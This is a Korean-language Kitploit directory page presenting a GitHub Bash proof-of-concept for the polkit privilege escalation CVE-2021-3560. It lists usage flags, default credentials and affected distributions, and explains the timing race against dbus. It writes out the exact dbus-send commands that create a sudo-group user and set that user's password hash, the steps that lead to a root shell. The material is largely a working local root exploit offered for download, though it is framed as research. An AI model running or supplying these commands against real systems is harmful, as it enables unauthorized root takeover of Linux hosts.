Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation | Kitploit
도구/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingAuthentication
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
124513년 전Kitploit 검토 완료

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Kevin Backhouse의 원본 연구

이것은 Kevin Backhouse의 블로그에 언급된 공격 절차를 자동화하는 Bash PoC 스크립트입니다. 이 취약점에 대한 그의 게시물을 읽어보세요: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

사용법

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

참고 사항

  • 이 익스플로잇은 accountsservice와 gnome-control-center가 설치된 배포판에서만 동작하며, polkit 버전 0.113 이상 또는 0-105-26(polkit의 Debian 포크)이 있어야 합니다.
  • 이 익스플로잇은 polkit 버전 0-105-26(polkit의 Debian 포크)이 설치된 Ubuntu 20.04와 polkit 버전 0.115가 설치된 Centos 8에서 테스트되었습니다. 대상이 취약하다고 확신하지만 익스플로잇의 검사 기능이 실패할 경우, -f=y 플래그를 사용하여 모든 검사를 우회하고 익스플로잇을 강제로 실행하세요.
  • RHEL 8, Fedora 21, Debian testing("bullseye"), Ubuntu 20.04 등의 배포판이 취약한 것으로 확인되었습니다.

익스플로잇은 어떻게 작동하나요?

이 취약점을 수동으로 익스플로잇하기 위한 자세한 설명과 PoC는 연구자의 블로그에 상세히 나와 있습니다.

이 익스플로잇의 TL;DR은 다음과 같습니다:

  • 이 공격은 정밀한 타이밍이 필요하며, SSH(또는 그래픽 애플리케이션을 열 수 없는 명령줄 세션)를 통해 로그인해야 합니다.
  • 공격자는 dbus 메시지를 보내 polkit을 트리거하되, polkit이 요청을 처리하는 동안 요청을 갑자기 종료함으로써 이 취약점을 악용할 수 있습니다. 그런 다음 공격자는 이전 요청의 고유 버스 식별자를 사용해 두 번째 요청을 보내 UID 0, 즉 root 권한으로 요청을 실행할 수 있습니다.
  • 이 취약점은 polkit이 더 이상 존재하지 않는 버스 식별자를 가진 연결의 UID를 UID 0의 요청으로 처리하기 때문에 발생합니다. 즉, 공격 타이밍을 정확히 맞추고 첫 번째 요청을 적절한 순간에 종료할 수 있다면, UID 0, 즉 root의 권한으로 두 번째 요청을 보낼 수 있습니다.
  • 연결을 종료할 타이밍은 dbus-message를 보내는 데 필요한 시간 / 2로 계산됩니다. 자세한 설명은 여기에서 확인할 수 있습니다.

이 스크립트는 실제로 무엇을 하나요?

앞서 말했듯이, 이것은 Kevin Backhouse의 PoC를 자동화하는 bash 스크립트에 불과합니다. 핵심 명령은 동일하며, 일부 초기 단계(타이밍 계산, 취약점 검색, 사용자 지정 자격 증명 삽입, 예쁜 색상 출력 등)만 자동화했습니다.

이 스크립트를 매개변수 없이 실행하면, 스크립트의 기본 동작은 다음과 같습니다:

  • 배포판 유형을 확인합니다. [/etc/os-release 파일 사용]
  • accountservice와 gnome-control-center 설치 여부를 확인합니다. [rhel/centos/fedora에서는 rpm -qa를 사용하고, debian/ubuntu 배포판에서는 dpkg -l을 사용합니다].
  • 설치된 것을 확인하면, 스크립트는 polkit 버전을 확인합니다. [rhel.centos,fedora의 경우 0.113 이상, Debian/Ubuntu의 경우 0-105-26]
  • polkit 버전이 취약한 것으로 확인되면, 스크립트는 익스플로잇을 시작합니다.
  • 먼저, 스크립트는 다음 명령을 실행하여 debus-send를 사용해 요청을 보내는 데 필요한 시간을 찾습니다. bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
  • 그런 다음 요청을 종료할 시간($t)은 요청에 필요한 시간을 2로 나누어 계산됩니다. () [awk를 사용하여 계산]
도구 다운로드
  • 배포판 호환성 목록은 Kevin의 블로그에서 확인할 수 있습니다.
  • 이 스크립트는 sudo 그룹에 새 사용자를 주입합니다. 익스플로잇이 성공하면 스크립트에 제공된 비밀번호로 su - <username>을 사용해 계정에 로그인한 다음, sudo bash를 입력하여 root 셸을 얻을 수 있습니다!
  • 이 공격은 정밀한 타이밍에 의존하므로, 이 익스플로잇이 동작하려면 일반적으로 여러 번의 시도가 필요합니다.
  • 경고: 그래픽 로그인 환경에서 이 스크립트를 실행하지 마십시오!
  • 그래픽 로그인 환경에서 이 스크립트를 실행하면 polkit 인증 프롬프트가 반복적으로 계속 나타납니다. 따라서 이 익스플로잇은 SSH/NC 셸에서만 실행하십시오.
  • 그런 상황이 발생하면 Esc 키를 눌러 인증 프롬프트를 닫고, Ctrl+C로 스크립트를 빠르게 종료하십시오.
  • $t=time-required-to-request/2
  • 시간($t)이 계산된 후, 대상에 $username(secnigma)을 삽입하는 요청이 20회 반복됩니다. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • 사용자 삽입이 성공하면 [id secnigma로 확인], 비밀번호 해시가 생성됩니다 [bash openssl passwd -5 `echo -n $password` 사용]. ($password=secnigmaftw)
  • 그런 다음 비밀번호 해시 삽입 명령이 20회 실행됩니다. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!